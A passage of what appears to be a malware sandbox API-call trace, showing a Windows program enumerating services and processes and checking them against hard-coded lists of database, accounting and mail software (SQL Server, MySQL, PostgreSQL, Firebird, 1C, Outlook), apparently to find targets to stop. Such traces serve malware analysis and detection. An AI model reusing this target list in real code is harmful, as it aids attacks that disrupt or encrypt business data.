(lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0079.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0079.594] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0079.594] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0079.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0079.594] lstrlenW (lpString="WdiSystemHost") returned 13 [0079.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0079.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0079.594] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0079.594] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0079.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0079.594] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0079.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0079.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0079.594] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0079.594] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0079.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0079.594] lstrlenW (lpString="Winmgmt") returned 7 [0079.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0079.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0079.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0079.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0079.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0079.595] lstrlenW (lpString="WPDBusEnum") returned 10 [0079.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0079.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0079.595] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0079.595] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0079.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0079.595] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3959740 | out: hHeap=0x4b0000) returned 1 [0079.595] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0079.599] Process32FirstW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.599] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0079.599] lstrlenW (lpString="System") returned 6 [0079.599] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0079.600] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0079.600] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0079.600] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0079.600] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0079.600] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0079.600] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0079.600] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0079.600] lstrlenW (lpString="smss.exe") returned 8 [0079.600] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0079.600] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0079.600] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0079.600] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0079.600] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0079.600] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0079.600] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0079.600] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.601] lstrlenW (lpString="csrss.exe") returned 9 [0079.601] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0079.601] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0079.601] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0079.601] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0079.601] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0079.601] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0079.601] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0079.601] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.601] lstrlenW (lpString="wininit.exe") returned 11 [0079.602] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0079.602] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0079.602] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0079.602] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.602] lstrlenW (lpString="csrss.exe") returned 9 [0079.602] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.603] lstrlenW (lpString="winlogon.exe") returned 12 [0079.603] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.603] lstrlenW (lpString="services.exe") returned 12 [0079.603] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.604] lstrlenW (lpString="lsass.exe") returned 9 [0079.604] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0079.604] lstrlenW (lpString="lsm.exe") returned 7 [0079.604] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.605] lstrlenW (lpString="svchost.exe") returned 11 [0079.605] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.605] lstrlenW (lpString="svchost.exe") returned 11 [0079.605] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.606] lstrlenW (lpString="svchost.exe") returned 11 [0079.606] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.606] lstrlenW (lpString="svchost.exe") returned 11 [0079.606] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.607] lstrlenW (lpString="svchost.exe") returned 11 [0079.607] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0079.607] lstrlenW (lpString="audiodg.exe") returned 11 [0079.607] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.608] lstrlenW (lpString="svchost.exe") returned 11 [0079.608] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.608] lstrlenW (lpString="svchost.exe") returned 11 [0079.608] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0079.608] lstrlenW (lpString="dwm.exe") returned 7 [0079.608] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0079.609] lstrlenW (lpString="explorer.exe") returned 12 [0079.609] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0079.609] lstrlenW (lpString="spoolsv.exe") returned 11 [0079.609] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.610] lstrlenW (lpString="svchost.exe") returned 11 [0079.610] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0079.610] lstrlenW (lpString="taskhost.exe") returned 12 [0079.610] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0079.611] lstrlenW (lpString="taskeng.exe") returned 11 [0079.611] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0079.611] lstrlenW (lpString="communist_nick.exe") returned 18 [0079.611] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0079.612] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0079.612] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0079.612] lstrlenW (lpString="prize.exe") returned 9 [0079.612] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0079.612] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0079.613] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0079.613] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0079.613] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0079.613] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0079.614] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0079.614] lstrlenW (lpString="prospects.exe") returned 13 [0079.614] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0079.615] lstrlenW (lpString="signalpackard.exe") returned 17 [0079.615] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0079.615] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0079.615] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0079.615] lstrlenW (lpString="release.exe") returned 11 [0079.616] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0079.616] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0079.616] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0079.616] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0079.616] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0079.617] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0079.617] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0079.617] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0079.617] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0079.618] lstrlenW (lpString="stickers_nations.exe") returned 20 [0079.618] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0079.618] lstrlenW (lpString="initiated-scary.exe") returned 19 [0079.761] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0079.762] lstrlenW (lpString="3dftp.exe") returned 9 [0079.762] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0079.762] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0079.762] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0079.763] lstrlenW (lpString="alftp.exe") returned 9 [0079.763] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0079.763] lstrlenW (lpString="barca.exe") returned 9 [0079.763] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0079.764] lstrlenW (lpString="bitkinex.exe") returned 12 [0079.764] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0079.764] lstrlenW (lpString="coreftp.exe") returned 11 [0079.764] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0079.764] lstrlenW (lpString="far.exe") returned 7 [0079.765] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0079.765] lstrlenW (lpString="filezilla.exe") returned 13 [0079.765] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0079.765] lstrlenW (lpString="flashfxp.exe") returned 12 [0079.766] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0079.766] lstrlenW (lpString="fling.exe") returned 9 [0079.766] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0079.766] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0079.766] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0079.767] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0079.767] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0079.767] lstrlenW (lpString="icq.exe") returned 7 [0079.767] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0079.768] lstrlenW (lpString="leechftp.exe") returned 12 [0079.768] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0079.768] lstrlenW (lpString="ncftp.exe") returned 9 [0079.768] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0079.769] lstrlenW (lpString="notepad.exe") returned 11 [0079.769] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0079.769] lstrlenW (lpString="operamail.exe") returned 13 [0079.769] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0079.770] lstrlenW (lpString="pidgin.exe") returned 10 [0079.770] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0079.770] lstrlenW (lpString="scriptftp.exe") returned 13 [0079.770] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0079.771] lstrlenW (lpString="skype.exe") returned 9 [0079.771] Process32NextW (in: hSnapshot=0x218, 